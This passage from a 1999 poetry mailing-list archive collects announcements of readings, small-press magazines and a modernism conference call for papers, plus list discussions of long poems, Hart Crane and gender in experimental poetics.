Lower Manhattan has played host to poets and their movements for more than two centuries. Edgar Allan Poe, Dylan Thomas, Allen Ginsberg and e.e. cummings all embellished their talents, and occasionally their habits, in the East Village, SoHo, the West Village, and the Lower East Side. Next month poets from around the world will visit these historic neighborhoods for the first People's Poetry Gathering.

From April 9 to 11, professional poets, amateurs and the curious will partake in over 50 poetry recitations, conversation groups, competitions and workshops. Although the festival is anchored at Cooper Union (East Seventh Street between Third and Fourth Avenues), events will take place throughout the downtown area.

Presented by City Lore, a New York cultural center, and Poets House, a literary center and home to a 35,000-volume poetry library, the festival will explore two primary themes: ''Masters of Oral Tradition'' and ''Emerging Forms and Formats.''

''Masters of Oral Tradition'' events will feature a performance by Utah Phillips, Grand Master of the Rose Tattoo, a dispersed troupe of hobo poets; Gabriel Segura and Rafael Perez Lopez, Colombian decima (10-line verse) improvisers; and a picnic with the cowboy poet Don Edwards, a former rancher and rodeo chaser.

A 10-round ''Heavyweight Poetry Bout'' between Sherman Alexie and Patricia Smith and ''Braggin' Rights,'' a free-style street-corner rapping contest, are planned for ''Emerging Forms and Formats.''

Other featured poets will include Robert Pinsky, the Poet Laureate of the United States; John Cephas, the Piedmont blues musician and National Heritage Award winner; and Galway Kinnell, winner of the Pulitzer Prize and National Book Award.

Also planned are a supper in honor of Robert Burns, midnight readings of erotic poetry and Edgar Allan Poe, a workshop for renga, a collaborative 36-stanza poem (saki provides inspiration after the sixth stanza) with masters from the Spring Street Haiku Group, and a literary tour and pub crawl.

Information: [redacted], extension 5, or www.peoplespoetry.org.

Book now!
Bob Holman

↑ Index

195. derek beaulieu / house press
"in grave ink"
Mon 15 Mar 1999

---

in grave ink
seriously new writing

$4 one issue
$10 for one year (3 issues)

To privilege one form or style of poetry over another is not the goal of in grave ink. That is what we are trying to escape. However it does seem fair to point out that Canada does privilege a style, a form, even an ideology, perhaps we could call it Nationalism, an attempt to create a Canadian identity through poetry . Whatever is at work in this closing down of poetic possibility is not really what we care about. We care about poetry. Poetry that moves, that breathes, that kicks and hogs the covers. Poetry that gets up in the middle of the night and steals your food and money. Poetry that is both alive, and living.

Although poetry is our main focus, it is not our only focus. Any form of writing and art that fulfills the above ideas of alive and living is welcome. Please let us know the borders that can be touched and crossed in all forms of art. If its new, seriously so, we want it.

So what's with the claim "seriously" new poetry? Here we take writing seriously but do not necessarily see it as having to be serious. We enjoy play with language, with form, with the edges of what is stylistically possible but we play seriously. We play with the belief that words still have the power to change.

So that is a rough and rambling idea of what we are doing and what we want to do. If you are interested any help is welcome. Whether this help comes in the form of poetry, other forms of art, the act of reading or even (shall I say it) subscription money, it is all appreciated.

To find out more, submit or order
e-mail: [redacted] or [redacted]

normal mail: in grave ink
c/o Lindsay Tipping 103 416 7th St NW
Calgary, AB
T2N 1S4

↑ Index

196. Elizabeth Treadwell
NEW AT DOUBLE LUCY: LYNNE TILLMAN
Mon 15 Mar 1999

New @ Double Lucy's Website

1. Juicy excerpt from LYNNE TILLMAN's novella, LOVE SENTENCE, the first in Double Lucy's 1999-2000 Prose Series!

"Everything Paige thought about love, anything she felt about love, was inadequate and wrong. It didn't matter to her that in some way, from some point of view, someone couldn't actually be wrong about an inchoate thing like
love."

Lynne Tillman's most recent novel, NO LEASE ON LIFE, was a Finalist for this year's National Book Award. We have admired her for ages & are proud to publish this funny, philosophical, literary valentino, starring a favorite character of Lynne's, Miss Paige Turner.

2. LUCY LINKS
Check out the new Lucy Links page!! The old standards, necessary classics, and new Lucilly links to things like the GIRL WIDE WEB, too!

3. YEDDA MORRISON AUTHOR PAGE!
And dash from here to Yedda as the SFBayArea's "LOCAL HOWLER" for March, while you still can! She's a celeb!

4. and while you're there don't forget to check out excerpts from the current issue of OUTLET, featuring work by Laura Moriarty, Malcolm de Chazal (translated by Irving Weiss), Brenda Iijima & Franklin Bruno.

Enjoy

-ET, Ed.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

197. Steven Marks
Re: Long Poems are the Other, aren't they?
Mon 15 Mar 1999

On Sat, 13 Mar 1999, Tom Beckett wrote:
> I'm fascinated by long poems because they represent something I can't seem to > do,sensibilities I can visit but not inhabit. If I write 10 pages, my > characteristic impulse is to reduce them to 10 lines. I tend to condense > rather than expand. I'm more likely to remove words than add them.

I find that I am now doing the same. I've taken about 50 pages of prose (an abandoned novel) and whittled it down to about 60 or 70 lines. As I continue the condensing, I lose more words, but start to add in graphical elements that somehow take the place of words or sometimes reinforce them or sometimes act alone. I think I do this because I am so often overwhelmed by all that I feel I must take in. It's less like ADD (at least for me) and more like autism (withdrawal or refuge from overabundance). I feel like if I can just get down a few words and images, then the kaleidoscope will stop turning for a few seconds.

As for the second part...
> When one does a long poem is intensity of experience sacrificed to depth or > duration?

I don't know, having never written a long poem. However, I am considering my current project as a long visual serial poem. The intensity of experience for the creator of the short poem may be stronger than that of the reader/viewer (although not necessariIy). I know that what I put into 6 pages (which may contain all of 20 words) and an equal amount of graphical elements takes me several months to build. I don't kid myself; it can be looked at in about 15 seconds. I hope that you find things in it that keep you there longer and keep you coming back. I guess I'm saying that this is probably no different an experience than can be had with a long poem. Except that there are more words and that means more time, or duration. There, I've argued both sides.

Steven Marks

↑ Index

198. Kevin L. Magee
Re: The Lament, Caravan) posted 11 Mar
Mon 15 Mar 1999

It is still difficult for me to speak of Hart Crane. One ought to speak more severely than I do of him, to pay respect to the reality of the person Hart Crane (the person of the native inward site of emotional innocence) and the personal seriousness of the poet Hart Crane (in the period of his ascent into literary conspicuousness). Anyone attempting to comment on his work in a homespun style would have to use plain guts to sustain the inevitable gaucheness of paying such tribute, although I would not now credit him with more than a militant outspokenness, the line of it lightning-like "straight" jaggedly bent making a hit somewhere in the area of his excitability, a dazzlingness actually soft in its outburst. Any literarily environmental definition of it, especially in the wild-behavior manifestations of it, earnestness of being, from sense of the specularity of it, the rapturous seizures, his energetic enthusiasm for poet-being, the frenzies of exhibition of feeling-exuberances: the inward site where tendernesses, affections, impulses of kindest emotionality [I say "emotionality," rather than "sensuality"] ranged in chaos: He was preoccupied with the physical triumph of utterance of tradition --

the English tradition--and the twists in it to make room for himself, his personal, single-minded, combative, conception of Heavenly Success (I wonder if it ever did, if it ever could have, become altogether that, to him). One might say that will rather than thought was the sponsor of his language. And the ringing-in, here, knowing what I know of Hart Crane, with the affection manifested towards me when we were in comradely association in New York, all agog with literary self-consciousness: who was going to be "successful," who might, actually, become "famous," who at least be rated as a safe bet for the commitment of the critical watchers of the candidates for the word "good" for public whispering round. I cannot read any other story into what happened to him humanly, a spectacular incurability and original confusion in terms that combined the personal and the literary--what was happening was a convulsive mixture of the two within an actually narrow frame of experience (both personal and literary experience) dedicated to poetic independence from hierarchic restrictions and stupefying refinements for all the stress put on his having given natural-poet-identity, no eccentric existing in a private literary environment of his own. The comparison has justification. Blake armed his poet-boldness with Art, indifferent to others, yet courting them, making them listen, by the forceful boast of indifferentness, as the opposite number to the Hart Crane figure of quixotic self-expansiveness, a pair of types couplable by a quite braggart singularity and grasp of the nature of critical literary learning. In this period of my thinking, my formulating of my thinking, I called the individual unreal: not just a process of reaction to existence as an environmental aggregate, the body of experience en masse, that to which one was involuntarily, almost helplessly, exposed. I can identify this environment in-the-large of individual being as collective, synthetic, reality, in so far as it is real, not something locked within a frame of existence that makes of one the reactions it excites in one. It has surprised me that I could then stretch my loyal regard across the widening breach, and encompass the whole in an appreciation both fervent and sad. I called the individual unreal. Would it have been any different if I had lingered beyond 1925? I had moved far away from the New York scene. It is still difficult for me to speak of Hart Crane.

Laura Riding
March 15, 193-? 194-?
Near Garrettsville

↑ Index

199. Poetics List Administration
disappearer
Tue 16 Mar 1999

All - sorry for the short run yesterday; UB is predictably saddled once again with mailhub problems, which caused a smidge of havoc here. Messages from yesterday have been sent to listserv, and are on their way - but I don't know at this point when they'll get here.

Chris - argh

↑ Index

200. Richard Carfagna
Enslin essays
Tue 16 Mar 1999

HI,
Was just wondering if anyone knows of essays or the such on the long poems of Theodore Enslin, NPF just released his selected poems and I'm curious to find out more about the long poems excerpted in this volume and the ones not included.
ric

↑ Index

201. Billy Little
Re: of Mothers & Daughters
Tue 16 Mar 1999

---

don't you think that these are Perloff's men and she has to protect/project their dominance or she risks seeing her own writing about them become irrelevant?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

202. dbkk
Re: of Mothers & Daughters
Tue 16 Mar 1999

At 9:15 AM -0600 3/15/99, Maria Damon wrote:
>i think it's fantastic that folks are finally recognizing >ntozake shange as part of this feminist textual expansion --i remember >mentioning her and her "scene" on an MLA panel a few years ago (with m >davidson and e dorn) and feeling that i was a fish out of water, though >certainly nobody (except dorn) was hostile

Maria,

I agree with you that it's "fantastic" (you're so much more enthusiastic than I am, Maria) that Ntozake Shange is being recognized in this area--however I had lots of problems with how she was discussed at the conference. I felt there was lots of amnesia and revisionism going on. I got involved in the SF experimental feminist scene in the early 80s after having been reading more traditional feminist stuff for 10 years--and at that time I thought Shange was great--the whole country did. But when I learned the new theoretical feminist cannon, Shange was never taught, never mentioned--as far as I remember. Though Shange does some marvelous stuff formally, she was overlooked by the intelligensia--because of her populist surface, I imagine. She was someone, I felt in my younger impressionable years, that one gave up--like Plath, like Adrienne Rich, like Gilbert and Gubar--if one wanted to be a serious experimental feminist. The only black woman I can remember being acceptable was Erica Hunt (Harryette Mullen was still early on in her career; later, of course, she got noticed). These are just my memories from my "youth," which, as we all know, can be very reductive.

Interestingly, one guy posed a question to my panel about class--and I was all ready to speak--finally this could be talked about because it is an important issue, I feel, one that is denied over and over again--and somebody besides me and Kathy Lou Schultz thinks so. Laura Moriarity said that class differences were breaking down--something I disagree with, which is odd since I usually agree with Laura. But then Carla jumped up and started yelling at Marjorie and the issue, once again, got swept under the rug.

Dodie

↑ Index

203. Judy Roitman
More Larryville
Tue 16 Mar 1999

Alan Sondheim
March 30
7:30 p.m.
Canterbury House
1116 Louisiana
Lawrence, KS

And don't forget the Poetics Seminar (Mayhew on March 31, Perloff on April 19).

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

204. Edward Foster
New Terrific Book
Tue 16 Mar 1999

It's here:

Simon Pettet

James Schuyler - Selected Art Writings
Black Sparrow, 1999

(with photos and everything)

paperback, $17.50, ISBN 1-57423-076-X

↑ Index

205. Elizabeth Fodaski
Torque
Tue 16 Mar 1999

Dear Friends of Torque,

As I prepare the next issue of Torque for publication, I find myself at a frustrating crossroads. While sales of the Torque + Object collaborative issue were good, they were not good enough to compensate me and Rob for the money we spent, from our own pockets, to get the issue out. The balance of my Torque account, therefore, is not sufficient to cover the cost of the next issue. While I desperately want to get the exciting new issue of Torque into print and distributed among Torque’s faithful readers and contributors, I can’t do it without the funds. I don’t need much more money; if fifty more people bought copies of the Torque + Object collaborative issue, I would have enough, from my share of the proceeds, to print Torque #6.

There are still plenty of copies of the highly successful Torque + Object collaborative issue, featuring work by 25 innovative poets. The collection has been touted by many readers and correspondents as a fantastic and fruitful collaborative effort to bring together so many of today's most interesting and adventurous writers. I urge you to order a copy today if you don't already have one, to buy a second if you do, and to tell anyone you know who hasn't ordered a copy to do so. Copies of Torque #4 are also available. Order now if you don't have this issue. The sooner the orders come in, the sooner Torque #6 will be in print!

Thank you for your continued support.

To order, send checks made payable to Elizabeth Fodaski to:
Elizabeth Fodaski
21 East 2nd Street #14
New York, NY 10003

Torque #4 is $6. The Object + Torque collaborative issue is $10. Please order!

Sincerely,
Elizabeth Fodaski

↑ Index

206. Katie Degentesh
9x9 = 6,500
Tue 16 Mar 1999

6,500 HAS ARRIVED!!!

9x9 Industries presents the long-awaited first issue of its magazine:

6,500

Packed with poetry, prose, and poetry in translation by:

Jürge BECKER --> Anselm BERRIGAN --> Edmund BERRIGAN --> Curtis BONNEY -->David CAMERON --> Maxine CHERNOFF --> The Mysterious MISTER CLAM --> Daniel COSHNEAR --> Katie DEGENTESH --> Paul FLORES --> Gregory FUCHS --> Ray GONZALEZ --> Oleg GRIGORIEV --> Martina HÜGLI --> Honor JOHNSON --> Noelle KOCOT --> Brendan LORBER --> Alice NOTLEY --> Douglas OLIVER --> Eugene OSTASHEVSKY --> Alexei PARSCHIKOV --> Kit ROBINSON --> Aaron SHURIN --> Hal SIROWITZ --> J. Tarin TOWERS --> Alicia WING

To CELEBRATE this event, some of the above people (including Curtis Bonney, Maxine Chernoff, Paul Flores, Kit Robinson, Katie Degentesh, Tarin Towers, Eugene Ostashevsky, Alicia Wing, and the Mysterious Mr. Clam)

will READ THEIR POETRY at

New College of California
777 Valencia, San Francisco
7:30 PM
THURSDAY, MARCH 25, 1999

PLEASE NOTE THAT THIS EVENT IS ONLY 9 (NINE) DAYS AWAY

and it will cost

*$8 to get IN and GET 6,500******

THIS IS A VERY GOOD PRICE because

-->6,500 has a cover price of $8<--

(you may enter for $5 if you already own so many copies of 6,500 you can't possibly carry home another and you just want to catch the amazing reading)

Those of you who need to order 6,500 by mail may write checks payable to Paraffin Arts Project and send them c/o 9x9 Industries, PO Box 14842, San Francisco, CA 94114.

Those of you who need to SUBMIT will do so c/o 6,500 at the very same address you see above.

9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9

6,500: six thousand, five hundred

Editor: Brandon Downing
Graphic Design: Eugene Timerman, Klauddesign
Associate Editor: Katie "The Door" Degentesh

9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9

thanks to the Zellerbach Family Fund and the members of 9x9 Industries

THIS IS A VERY BIG DEAL.

OTHER 199X9 EVENTS:

MARCH 18: Alex Green, Marvin White, Tom Roche read at Adobe Bookshop
APRIL 15: Double Lucy Books at Adobe: Elizabeth Treadwell, Yedda Morrison, Sarah Anne Cox (not Sarah Rosenthal as previously mentioned) MAY 13: Michael Palmer and Jocelyn Saidenberg read at Adobe Bookshop

1999 (NINETEEN NINETY (NINE BY NINE) INDUSTRIES) 199X9

www.paraffin.org/nine/

WE WANT YOUR THURSDAY EVENINGS.

↑ Index

207. Mark Weiss
Query
Tue 16 Mar 1999

Anyone out there (including herself) who knows Lee-Anne Brown's email address?

↑ Index

208. BETSY ANDREWS
question
Tue 16 Mar 1999

Has anyone heard of a women and poetics conference happening at Barnard in April?

wondering, betsy

↑ Index

209. charles alexander
some tucson events
Tue 16 Mar 1999

POG (poetry group) Presents:

PETER GANICK
with guest Sheila E. Murphy

POETRY READING

Saturday, March 20, 7pm

at ORTS THEATRE of DANCE
121 E. 7th Street

PETER GANICK is the founder/publisher of Potes & Poets Press and Abacus. His recent books include NO SOAP RADIO, NEWS ON SKIS, and RECTANGULAR MORNING POEM. He lives in Elmwood, Connecticut. He and Sheila E. Murphy (poet and POG member) have recently completed a collaborative poem, and part of the reading will consist of them reading this work together.

$5 suggested contribution, but no one will be turned away.

The next POG reading after this one is one POG is co-sponsoring with the Tucson Poetry Festival, and features David Shapiro reading with Charles Bernstein, on Friday, March 26, at 8:00 pm, at the Temple of Music and Art, 330 S. Scott Avenue, Tucson. The Tucson Poetry Festival charges $9 admission per session ($7 if purchased in advance at Antigone Books, Bentley's House of Coffee & Tea, or the Book Stop), or $20 admission for the entire festival ($15 if purchased in advance at the locations listed above). Poets reading at other readings during the festival are Jane Hirshfield, Robert Bly, and state poetry contest winner on Saturday March 27 at 8pm; and Pat Mora, Ramson Lomatewama, and bilingual high school poetry contest winner on Sunday March 28 at 2pm. The reading featuring David Shapiro with Charles Bernstein is the only reading at the Tucson Poetry Festival that is co-sponsored by POG.

For POG information call [redacted].

For Tucson Poetry Festival Information call [redacted].

↑ Index

210. A. Jenn Sondheim

1844-1999

Wed 17 Mar 1999

+

1844-1999

I will be your pattern because it's clear there's a pattern to be made and I will be your maid and clear up the pattern made from fear of the lumpenproletariat welling up from your maid who you will have made thinking that always beyond the shame there is always another maid who will wash away that pattern while you steer clear of what you have rigorously made defining pattern beyond repetition, that is:
the rigour of the maid. every pattern has its marx to upwell from the pattern. every maid dreams of jenny and black freighters.
you only think of patterns and spinning jennies
you think you made.

↑ Index

211. Ron Silliman

SoCal Reading Tour

Wed 17 Mar 1999

RON SILLIMAN
SOUTHERN CALIFORNIA TOUR

HELLO, LA JOLLA
Monday, March 22, 8 PM
DG Wills Books
7561 Girard Avenue
La Jolla, CA 92037
619) [redacted]

FIRST LA READING OF THE 1990s
Thursday, March 25, 8 PM
Loyola Marymount
MacIntosh Center
7900 Loyola Bld
(near Sepulveda & Manchester)
For info, call the English Dept
[redacted]

Our thanks to the Motion Picture Academy for moving the Oscar Presentations to Sunday so as to avoid a conflict with DG Wills
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

212. Cassandra Laity
CFP: NEW MODERNISMS Conference
Wed 17 Mar 1999

Date: 17-Mar-1999 10:48am EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: CFP: NEW MODERNISMS Conference

Date: 17-Mar-1999 10:45am EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Laity, Cassandra (CLAITY)

Subject: RE: FWD: Re: Mass Mailing

Dear Poetics List:

So many of you expressed interest in attending the inaugural conference of _The Modernist Studies Association_, "The New Modernisms" (Oct. 7-10, 1999 at Penn State University), tham I am posting our "brochure," which lays out the procedure both for submitting proposals and for registering for one of the sixteen available seminars listed below.

We begin by presenting a list of the plenaries and special sessions appearing at the conference. As plans develop, one or two additional plenary sessions may be posted on our website <http://www.psu.edu/dept/english/MSA/msa.htm> and will appear in our full brochure (still in production).

Cassandra Laity
on behalf of the _MSA_ Program Committee

The New Modernisms

The Inaugural Conference of the Modernist Studies Association

October 7-10, 1999

The Nittany Lion Inn

State College, Pennsylvania

About the Conference

The recently founded Modernist Studies Association is devoted to the study of the arts in their social, political, cultural, and intellectual contexts from the late nineteenth century through the mid-twentieth century. The organization aims to develop an international and interdisciplinary forum to promote exchange among scholars in this revitalized and rapidly changing field.

The conference will feature three kinds of organized discussion: 1) plenary sessions, each with two invited speakers and a respondent; 2) seminars, small group discussions (maximum of 15) based on brief essays which the participants submit in advance; and 3) panels, each with a chair and three 20-minute presentations. The design of the conference should allow each participant to attend the plenary sessions and participate in a seminar and/or a panel.

Plenary Sessions

"Modernism, Race, and Nation": Peter Nicholls (University of Sussex), Houston Baker (Duke University), and respondent Kathryne Lindberg (Wayne State University)

"Modernism, Feminist Criticism and Identity Politics": Susan Stanford Friedman (University of Wisconsin--Madison), Rachel Blau DuPlessis (Temple University), and repondent Bonnie Kime Scott (University of Delaware)

"Literary Modernism and the Visual Arts": Charles Altieri (University of California--Berkeley), Philip Weinstein (Swarthmore College), and respondent Wendy Steiner (University of Pennsylvania)

Special Sessions

The program committee has arranged special sessions on Modernism and "Redefining Modernity" (Rita Felski, University of Virgina); Modern Art (Patricia Leighten, Duke University); "Middlebrow" Culture (Ann Ardis, University of Delaware); The Marketing of Modernism (Mark Morrisson, Pennsylvania State University--University Park); The Editing of Modernist Texts (Robin Schulze, Pennsylvania State University--University Park); Modernism, Science, and Technology (Susan Squier, Pennsylania State University--University Park); Modernism and Post-Colonialism (Guari Viswanathan, Columbia University); and The London Literary Scene, 1911-1916 (Caroline Zilboorg, Cambridge University)

Call for Panel Proposals and Seminar Registration

Individuals may submit a ranked list of two or three seminars and/or a proposal for a panel. Since we can accept only a limited number of panel proposals, we encourage all prospective participants to consider participation in one of the sixteen seminars listed below. Seminar assignments will be made on a first come/first served basis, beginning now and extending to August 1st: the sooner you submit your selections, the better your chance of receiving your first choice.

If you choose to submit a proposal for a panel, we encourage you to register for seminars at the same time. If your panel proposal is not accepted, you are still guaranteed a place in one of the seminars. If your proposal is accepted, you still have the option of participating in a seminar. The deadline for submitting panel proposals is June 1st. The program committee will notify those who have submitted proposals by June 30th.

Seminars

Seminars are small group discussions (maximum of 15) based on brief papers (5-10 pages) that the participants submit in advance of the meeting. Seminars are an attractive feature of many professional conferences. They offer participants with related interests an opportunity to meet and to engage in a conversation that may extend beyond the conference itself. We strongly encourage registrants to consider participation in a seminar either as a desirable alternative to, or in addition to, their participation on a panel. All registrants are guaranteed a place in a seminar, and will be sent a letter confirming their presence on the program. As far as travel funds are concerned, academic institutions usually regard participation in a seminar as equivalent to participation on a panel.

The program committee has organized the following seminars:

1. Modernism and Popular Culture
David Chinitz (Loyola University--Chicago)
[25 word description still pending. See the website for an update.]

2. Modernist Irony
Kevin Dettmar (Clemson University)
[25-word description still pending. See the website for an update.]

3. Modernism and the Victorians Mary Ellis Gibson (University of North Carolina--Greensboro) and Cassandra Laity (Drew University) How did modernists create narratives of artistic inheritance, reflecting or diverging from their predecessors? How did gender sexuality and changes in publishing and distributing art shape these narratives?

4. Provincial to European: Constructing British Modernisms Nancy Gish (University of Southern Maine--Portland) How has political and poetic devolution in contemporary Britain challenged, displaced, or reconceptualized "English Literary Modernism" constructed as Eliot's continuation of "the mind of Europe?"

5. New Approaches to the Harlem Renaissance
Robert von Hallberg (University of Chicago)
[25-word description still pending. See the website for an update.]

6. Modernity, Gender and Pan-Africanism
Cyraina Johnson (University of Notre Dame)
This seminar invites papers addressing the relation between modernity and Pan-Africanism, as seen through the prism of the late 19th- and early 20th-century constructions of race and gender.

7. Modern and Contemporary Women Poets
Linda A. Kinnahan (Duquesne University)
This seminar invites papers exploring how contemporary women's poetry is connected to/affected by/read in relation to the continuing recovery and (re)reading of women modernist poets.

8. Modernism and Queer Theory
Colleen Lamos (Rice University)
What is the relation between modernist aesthetics and the emergent psycho-medical discourse on homosexuality? How does queer theory alter our understanding of modern literature?

9. Modernism and Pedagogy Gail McDonald (University of North Carolina--Greensboro) Theoretical and practical approaches to modernist texts in the classroom: issues of difficulty, allusiveness, and cultural "capital." What can pedagogy reveal about the assumptions and aesthetics of modernist experimentation in fiction, poetry, and the other arts?

10. Recontextualizations of Modernism
Michael North (University of California--Los Angeles)
[25-word description still pending. See website for an update.]

11. Modernism and the Jewish Writer
Alicia Ostriker (Rutgers University)
Discussions of modernism in Jewish poetry and fiction, in terms either of formal experiment, or thematic concerns such as the immigrant experience, the Great War, changing gender roles.

12. Modernism and Post-Colonialism
Leonard Orr (Washington State University)
What is the impact of post-colonial theory on modernist studies? How do modernist texts represent double consciousness, syncretism, and the trauma of diaspora?

13. Modernism and Politics Stan Smith (Notthingham-Trent University) The modernism of Eliot, Pound, Yeats, Wyndham Lewis, Lawrence, etc. seems inextricably linked with a right-wing authoritarian, hierarchical, and masculine politics. Is the conjuncture merely coincidental, or are there deep structural reasons for the link?

14. Modernism and the Law
Robert Spoo (University of Tulsa)
This seminar will consider authors in various legal contexts, including (but not limited to) obscenity laws, customs and postal regulations, passport restrictions, copyright and libel laws.

15. Modernism and the Occult Leon Surrette (University of Western Ontario) Papers of a critical and scholarly nature are invited on occult topics in modern poetry or fiction and/or occult writers. By "occult" we mean a hidden ("occult") tradition of religious belief, or secret ritual practice. Secret societies are a different category.

16. Modernism and the Canon Keith Tuma (Miami University, Ohio) This seminar will explore how we might represent British modernist literature in a post-national and post-canonical American academy in which the once-privileged position of "British" literature is increasingly a thing of the past.

Seminar assignments will be made on a firstcome/first served basis beginning now and extending to August 1st.

Please submit a ranked list of two or three seminars to:

Sanford Schwartz
Department of English
The Pennsylvania State University
116 Burrowes Building
University Park, PA 16802-6200

Fax: [redacted]
E-Mail: [redacted]

Once the assignments are completed, each seminar leader will contact the other members of the group and set a precise timetable for the exchange of materials. The general guidelines are as follows: around mid-July, each participant sends a one-page precis to all other participants in the seminar; around the beginning of September, each participant sends his or her essay to all other participants.

Panels

The program committee welcomes proposals for panels, though only a limited number can be accepted. The committee is especially interested in interdisciplinary topics. Please include the following: your name, session title, professional affiliation, mailing address, phone number, fax, and e-mail address, the names and affiliations of the other members of your session, a 250-word abstract on the topic of the proposed session.

Send proposals postmarked, faxed, or E-mailed by June 1st to:

Sanford Schwartz
Department of English
The Pennsylvania State University
116 Burrowes Building
University Park, PA 16802-6200

Fax: [redacted]
E-Mail: [redacted]

The program committee will notify those who have submitted proposals by June 30th.

↑ Index

213. Poetry Project
Future readings in the outer province
Wed 17 Mar 1999

For anyone heading to NYC this spring or anyone here, readings on Monday nights at the Poetry Project (131 E. 10th St., St. Mark's Church) are as follows:

March 22 -- Hoa Nguyen & Dale Smith

April 12 -- Brian Kim Stefans & Dan Farrell

April 26 -- Pamela Lu & Robert Fitterman

May 10 -- Tom Devaney & Gregory Fuchs

May 17 -- Rosa Alcala & Mary Burger

May 24 -- Camille Guthrie & Lytle Shaw

June 6 -- Ruth Altman & Gordon Ball

All are welcome.

Thanks,

Anselm Berrigan

↑ Index

214. A. Jenn Sondheim
please check out
Wed 17 Mar 1999

---

http://stadiumweb.com/turnstile/turnstile_part2.html

- I forget where the URL came in, but this is one of the most fascinating works I've ever seen on the Net and well worth a visit; I've been back a number of times.

Alan

↑ Index

215. Charles Bernstein
More Listserv Technical Problems
Wed 17 Mar 1999

At this point, Chris Alexander is unable to get access to his email account due to yet more problems at the UB mailhub. This will disrupt posatings the list yet again, but nothing should be lost Chris will be back on line as soon as possible.

Charles Bernstein

↑ Index

216. Elizabeth Treadwell
of Mothers & Daughters
Wed 17 Mar 1999

Chris -- if this is too "macro" feel free to delete. of course. Cheers, E.

Hi all, Maria Damon says that she doesn't like to discuss gender issues on the list (the payoff being negligible and the irritation high?) but that is one thing that keeps me turning to the list, even tho it can get ugly. I've felt in the last few days that its been really really interesting and not at all ugly, not at all implosive, with Kevin and Joel and Kathy Lou weighing in on Page Moms etc, and was very pleased to see Rachel's response to my "delinquent daughter" query. These gendered concerns aren't quite separable from that nebulous thing that might be called my poetix. Tho reading Joel's essay/epistle made me think bringing up delinquent daughter questions here might be talking out of school if that is the right phrase. I just hope the lurker women keep on or start speaking up. I really do. Briefly, Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

217. Mark Weiss
Re: of Mothers & Daughters
Wed 17 Mar 1999

The talk went by pretty fast, even by Marjorie's standards, but I thought that she was in fact taking them to task. I wonder if othersnperceived this differently.

At 10:41 AM 3/16/99 -0700, you wrote:
>don't you think that these are Perloff's men and she has to protect/project >their dominance or she risks seeing her own writing about them become >irrelevant?
>
>
>forbidden plateau fallen body dojo
>4 song st.
>nowhere, b.c. V0R1Z0
>canadaddy
>
>

↑ Index

218. Poetics List Administration
"gas jockeys Unite": 5 years of filling Station Magazine / Beaulieu
Wed 17 Mar 1999

---

had to reformat this. Chris

---------- Original message (ID=1F35F22F) (123 lines) ----------

From: "derek beaulieu / house press" <[redacted]> Subject: "gas jockeys Unite": 5 years of filling Station Magazine Date: Wed, 17 Mar 1999 15:50:02 -0700 filling Station magazine is proud to announce:

"Gas Jockeys Unite": Celebrating 5 years and 15 issues of filling Station Magazine!

Carpenter's Union Hall, Calgary, Alberta
April 17, 1999 7:30pm

for 5 years filling Station has been dedicated to publishing new and established authors, poets and graphic artists from around the globe.

We are pleased to announce a fundraising party on April 17th featuring local Calgarian bands and readings by:

Jeff Derksen
Suzette Myer
Richard Harrison and many others!

cover charge TBA

stay tuned for further details and more information!

if you are interested in hearing more about this event or about filling Station Magazine in general, please feel free to contact:

Derek Beaulieu and Courtney Thompson at:
(h)[redacted]
(fax)[redacted]
[redacted]

↑ Index

219. Kevin L. Magee

Event Note: Transcendental Friend's 1st Anniversary

Wed 17 Mar 1999

3/16. Dactyl Foundation. 65 Grand St. NY.

Why did you come here. To observe a space. What space. Any space. Voices attached to faces. Whose face belongs to what voice. Are you here. What is 'there' to being 'here.' Who is where you are is why you are not here is why I'm here. So there. The effort it takes to hold a face in focus. Whose name does it belong to? Envelope, bookmark. Did that send you? Upend you. I arrived early and well how have you been? Is it possible that a real face might attach to the name here. Names here. Marcella Durand. Duncan Dobbelman. Lisa Jarnot. Heather Ramsdale. Dan Machlin. Henry Gould. Kristen Prevallet. Laird Hunt. Garret Kallenberg. This is an art space. "Did you see the collected prose in two lines?" "There's so much more stuff." "Incredible like prose things going on." "It's not even in the James Laughlin stuff." "He's got a CD." You keep looking for omens. What do you hear. What are you near? I got an invite. It convinced you. A sign. Is this the new city? Show up on bare hope. People keep making poetry, only the faces change. Who is making what up. Invisibility. It's good to go somewhere and wind up there. Hi Kids! Don't talk to them. Marcella Durand: "Nearby are more circuitous routes" (reading "Artery"). Duncan Dobbelman's Gaspard--reading too close to the page--and the Five Fingers: literary-scholastic. Lisa Jarnot: "Thanks Garrett I didn't understand what you said." (You Armadillo). Heather and Garrett's collaborative piece, "Bodies Correlating through some Medium"--wit, charm, but what's the difference between dialogue and counterpoint? Voices set off or slide off one another, presentational, encased, enclosed. Dan Machlin: "a Joseph's coat of outward desire." The line, "I am perpetually okay" draws a laugh from the polite audience. Henry Gould: "Your move, Beatrice." Gould's verbal improv, sound play, parodies folk/country speech rhythms (can you hear anything you make fun of?) Prevallet: Cocteau trans. in next issue. "Birds are our friends." "Marble is very influential." Laird Hunt: old french poem about a horse. Exercises de style. Everyone here has gone to a good school. Sweet, well educated, voices. BiblioPHILIA, not BiblioMANIA. Jarnot's voice had an engine running under it. Maybe Dan Machlin's. Albertine as I was leaving: "I've got feelings too." See you later, maybe. Some poems I respond to in "The Friend": "The Human Face" (Artaud Morpion/Artaud parasite) trans. Jonathan Skinner in issue 2, April 1998, and Skinner's note on "Grace" in issue 3, May 1998; see also Skinner's trans. of a poem by Ghrasim Luca in issue 6, Nov. 1998 (where was Skinner Tuesday night?) see also the 